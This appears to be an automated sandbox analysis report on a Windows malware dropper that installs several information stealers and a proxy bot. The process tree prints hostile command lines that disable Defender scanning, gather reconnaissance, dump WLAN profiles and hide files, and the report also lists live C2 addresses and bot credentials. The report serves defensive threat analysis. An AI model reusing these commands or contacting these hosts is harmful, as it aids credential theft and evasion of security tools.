Edit tour

Windows Analysis Report
DPqKF5vqpe.exe

Overview

General Information

Sample name:	DPqKF5vqpe.exe renamed because original name is a hash value
Original sample name:	713a645c9524d137db3c5547b12708f7.exe
Analysis ID:	1452030
MD5:	713a645c9524d137db3c5547b12708f7
SHA1:	dc3a407cf08c26511f22f256182d3a240630925c
SHA256:	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8
Tags:	32Amadeyexe
Infos:

Detection

LummaC, Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, SystemBC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Monster Stealer

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected SystemBC

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains very large array initializations

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Detected generic credential text file

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Gathers network related connection and port information

Hides threads from debuggers

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Modifies the hosts file

Modifies the prolog of user mode functions (user mode inline hooks)

Modifies the windows firewall

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Potentially malicious time measurement code found

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Reads the System eventlog

Send many emails (e-Mail Spam)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect debuggers (CloseHandle check)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade analysis by execution special instruction (VM detection)

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to resolve many domain names, but no domain seems valid

Tries to steal Crypto Currency Wallets

Tries to steal communication platform credentials (via file / registry access)

Uses attrib.exe to hide files

Uses netsh to modify the Windows network and firewall settings

Writes to foreign memory regions

Yara detected Generic Python Stealer

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Executes massive DNS lookups (> 100)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Console CodePage Lookup Via CHCP

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

DPqKF5vqpe.exe (PID: 4860 cmdline: "C:\Users\user\Desktop\DPqKF5vqpe.exe" MD5: 713A645C9524D137DB3C5547B12708F7)

axplong.exe (PID: 3932 cmdline: "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe" MD5: 713A645C9524D137DB3C5547B12708F7)

gold.exe (PID: 7796 cmdline: "C:\Users\user\AppData\Local\Temp\1000004001\gold.exe" MD5: 0B7E08A8268A6D413A322FF62D389BF9)

RegAsm.exe (PID: 7820 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7828 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 6052 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7796 -s 284 MD5: C31336C1EFC2CCB44B4326EA793040F2)

judit.exe (PID: 7984 cmdline: "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe" MD5: C09FF1273B09CB1F9C7698ED147BF22E)

stub.exe (PID: 8068 cmdline: "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe" MD5: 972D9D2422F1A71BED840709024302F8)

cmd.exe (PID: 8096 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8144 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6860 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 868 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7664 cmdline: attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 7756 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 428 cmdline: C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7908 cmdline: taskkill /F /IM chrome.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 6952 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7316 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 3308 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5820 cmdline: powershell.exe Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8004 cmdline: C:\Windows\system32\cmd.exe /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 1004 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 7524 cmdline: C:\Windows\system32\cmd.exe /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 5420 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 8144 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 5872 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 6280 cmdline: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 3444 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

redline123123.exe (PID: 8044 cmdline: "C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe" MD5: 0EFD5136528869A8EA1A37C5059D706E)

upd.exe (PID: 2928 cmdline: "C:\Users\user\AppData\Local\Temp\1000008001\upd.exe" MD5: E8A7D0C6DEDCE0D4A403908A29273D43)

RegAsm.exe (PID: 6036 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7404 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

svhoost.exe (PID: 7284 cmdline: "C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe" MD5: 15A7CAE61788E4718D3C33ABB7BE6436)

One.exe (PID: 7292 cmdline: "C:\Users\user\AppData\Roaming\configurationValue\One.exe" MD5: 816DF4AC8C796B73A28159A0B17369B6)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

lumma123.exe (PID: 6464 cmdline: "C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe" MD5: 5161D6C2AF56A358E4D00D3D50B3CAFB)

RegAsm.exe (PID: 6764 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

lrthijawd.exe (PID: 1236 cmdline: "C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe" MD5: 1B1ECD323162C054864B63ADA693CD71)

cmd.exe (PID: 7656 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

work.exe (PID: 7732 cmdline: work.exe -priverdD MD5: 405B7FBE8C0ED98620064F0CD80F24C4)

jergs.exe (PID: 6992 cmdline: "C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe" MD5: C661A77C31F83C413A96B5537AD31989)

services64.exe (PID: 7964 cmdline: "C:\Users\user\AppData\Local\Temp\1000014001\services64.exe" MD5: C8A50A6F1F73DF72DE866F6131346E69)

powershell.exe (PID: 5988 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

axplong.exe (PID: 4620 cmdline: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe MD5: 713A645C9524D137DB3C5547B12708F7)

axplong.exe (PID: 7632 cmdline: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe MD5: 713A645C9524D137DB3C5547B12708F7)

svchost.exe (PID: 8008 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 8156 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

tasklist.exe (PID: 3064 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

svchost.exe (PID: 3728 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 6612 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 7796 -ip 7796 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 3456 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5768 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

peombdb.exe (PID: 7840 cmdline: C:\ProgramData\okili\peombdb.exe start2 MD5: C661A77C31F83C413A96B5537AD31989)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SystemBC	SystemBC is a proxy malware leveraging SOCKS5. Based on screenshots used in ads on a underground marketplace, Proofpoint decided to call it SystemBC.SystemBC has been observed occasionally, but more pronounced since June 2019. First samples goes back to October 2018.	No Attribution	https://asec.ahnlab.com/en/33600/ https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html https://community.riskiq.com/article/47766fbd	https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc

Malware Configuration

Threatname: Amadey

{"C2 url": ["http://77.91.77.81/Kiru9gu/index.php"]}

Threatname: RedLine

{"C2 url": "185.172.128.33:8970", "Bot Id": "@LOGSCLOUDYT_BOT", "Authorization Header": "3b888690d495b9792a58ef1c36d35d19"}

Threatname: SystemBC

{"HOST1": "clwtumberaero.cyou", "HOST2": "185.43.220.45", "PORT1": "4001", "DNS1": "5.132.191.104", "DNS2": "ns1.vic.au.dns.opennic.glue", "DNS3": "ns2.vic.au.dns.opennic.glue"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\okili\peombdb.exe	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
C:\Users\user\AppData\Roaming\configurationValue\One.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Roaming\configurationValue\One.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Roaming\configurationValue\One.exe	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x46481:$s1: file:/// 0x463dd:$s2: {11111-22222-10009-11112} 0x46411:$s3: {11111-22222-50001-00000} 0x43327:$s4: get_Module 0x3d756:$s5: Reverse 0x3e406:$s6: BlockCopy 0x3d71f:$s7: ReadByte 0x46493:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\redline123123[1].exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000031.00000002.2105482981.0000000000401000.00000020.00000001.01000000.0000003A.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0000000E.00000000.1954896138.0000000000E32000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2405960200.0000000004041000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001C.00000002.2397729767.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001C.00000002.2397729767.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x96265:$a1: get_encrypted_key 0x95967:$a2: get_PassedPaths 0x94388:$a3: ChromeGetLocalName 0x95b68:$a4: GetBrowsers 0x9c592:$a5: Software\Valve\SteamLogin Data 0x9be32:$a6: %appdata%\ 0x9568c:$a7: ScanPasswords
0000001C.00000002.2397729767.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001C.00000002.2397729767.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.1551081052.00000000002A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.1996629606.0000000000FCD000.00000004.00000001.01000000.0000002C.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.1996629606.0000000000FCD000.00000004.00000001.01000000.0000002C.sdmp	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0xe7f45:$a1: get_encrypted_key 0xe7647:$a2: get_PassedPaths 0xe6068:$a3: ChromeGetLocalName 0xe7848:$a4: GetBrowsers 0xee272:$a5: Software\Valve\SteamLogin Data 0xedb12:$a6: %appdata%\ 0xe736c:$a7: ScanPasswords
00000002.00000003.1545978082.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000000.2092244834.0000000000401000.00000020.00000001.01000000.0000003A.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000033.00000000.2106860496.0000000000401000.00000020.00000001.01000000.0000003B.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000003.1510788900.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.1758062936.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000033.00000002.2753516190.0000000000401000.00000020.00000001.01000000.0000003B.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000003.00000003.1547587415.0000000005090000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2274539333.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.2405960200.000000000409A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.1996629606.0000000000F30000.00000004.00000001.01000000.0000002C.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000018.00000002.1996629606.0000000000F30000.00000004.00000001.01000000.0000002C.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.1587879270.0000000000891000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000000.2005899923.0000000000492000.00000002.00000001.01000000.0000002E.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000000.2006526850.0000000000442000.00000002.00000001.01000000.0000002F.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001F.00000002.2242835932.00000000128C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.2501405192.00000194CFA90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1798487230.0000000000891000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002C.00000003.2085711732.0000018E8C626000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0000000E.00000002.2266923470.0000000003296000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
